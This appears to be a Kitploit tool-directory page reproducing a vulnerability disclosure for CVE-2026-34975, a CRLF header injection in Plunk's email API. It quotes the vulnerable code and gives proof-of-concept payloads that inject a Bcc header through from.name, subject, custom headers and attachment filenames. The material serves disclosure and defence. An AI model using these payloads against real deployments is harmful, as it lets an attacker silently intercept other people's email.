Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/romain-deperne/cve-2026-34975
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchEmail Security
GitHubromain-deperne/cve-2026-34975

CVE-2026-34975

CRLF Email Header Injection in Plunk via raw MIME construction — CVSS 8.5

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-34975 — CRLF Email Header Injection in Plunk via raw MIME construction

Severity: High (CVSS 8.5) CWE: CWE-93 — Improper Neutralization of CRLF Sequences ('CRLF Injection') Affected: useplunk/plunk (all versions prior to fix) Advisory: GHSA NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975

TL;DR

Plunk's POST /v1/send endpoint constructs a raw MIME email message by interpolating user-supplied fields (from.name, subject, custom headers, attachment filenames) directly into a template string without CRLF (\r\n) sanitization. An authenticated API user can inject arbitrary email headers — including Bcc — to silently redirect email copies to attacker-controlled addresses.

How I found this

I was auditing open-source email sending platforms — anything that wraps AWS SES and exposes an API. Plunk is positioned as a developer-friendly alternative to SendGrid/Postmark, built on SES.

My entry point was the raw email construction function. Whenever I see rawMessage += or template literals building MIME, I check whether every user-supplied field is CRLF-sanitized. In SESService.ts, the answer was clearly no: from.name, subject, custom headers, and attachment filenames were all interpolated directly.

What confirmed this as exploitable: the Zod schema (packages/shared/src/schemas/index.ts) had no .regex() or .refine() rejecting \r\n on any of those fields. No sanitization at the schema layer, no sanitization at the MIME construction layer — clean path from API input to injected MIME header.

I tested all four vectors (from.name, subject, custom header value, attachment filename) and confirmed Bcc: injection works. Any authenticated API user with a verified sender domain can silently copy every outgoing email to an attacker-controlled address. The realistic attack scenario is a compromised API key turning into a persistent email intercept.

Affected component

File: apps/api/src/services/SESService.ts, lines 137–151

root@kitploit:~
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
                 `To: ${to}\r\n` +
                 `Subject: ${content.subject}\r\n`;

// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
    rawMessage += `${key}: ${value}\r\n`;  // value not sanitized
}

// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized

Zod schema (packages/shared/src/schemas/index.ts) — no CRLF validation:

root@kitploit:~
headers: z.record(z.string().max(998)).optional()   // no \r\n check
from: { name: z.string().optional() }               // no \r\n check
subject: z.string().min(1).max(998)                 // no \r\n check
filename: z.string().min(1).max(255)                // no \r\n check

Root cause

Raw MIME construction requires that every user-supplied value be stripped of \r\n before interpolation. Plunk builds the message with template literals and does not sanitize any of the four injectable fields. SMTP parsers interpret \r\n as a header boundary, so injecting \r\nBcc: [email protected] into from.name adds a real Bcc header to the outgoing message.

PoC

See poc.py for a full demonstration with four injection vectors.

Core payload — Bcc injection via from.name:

root@kitploit:~
payload = {
    "to": "[email protected]",
    "subject": "Legit email",
    "body": "<p>Nothing to see here.</p>",
    "from": {
        "name": "Legit Sender\r\nBcc: [email protected]",
        "email": "[email protected]",
    },
}

Raw MIME produced by SES:

root@kitploit:~
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email

SES delivers a silent copy to [email protected] with every email sent through the compromised API key.

Other injection vectors:

  • subject: "Legit Subject\r\nBcc: [email protected]"
  • Custom header value: {"X-Custom": "value\r\nBcc: [email protected]"}
  • Attachment filename: MIME boundary injection

Impact

  1. Silent email redirection — BCC any outgoing email to an attacker-controlled address
  2. Email spoofing — override Reply-To, Return-Path, Sender headers
  3. MIME structure corruption — inject arbitrary MIME parts via attachment filename
  4. Requires only a valid Plunk API key and a verified sender domain — standard authenticated access

Timeline

  • Discovery: 2026-03-xx
  • Reported: GHSA private advisory
  • CVE published: CVE-2026-34975
Download Tool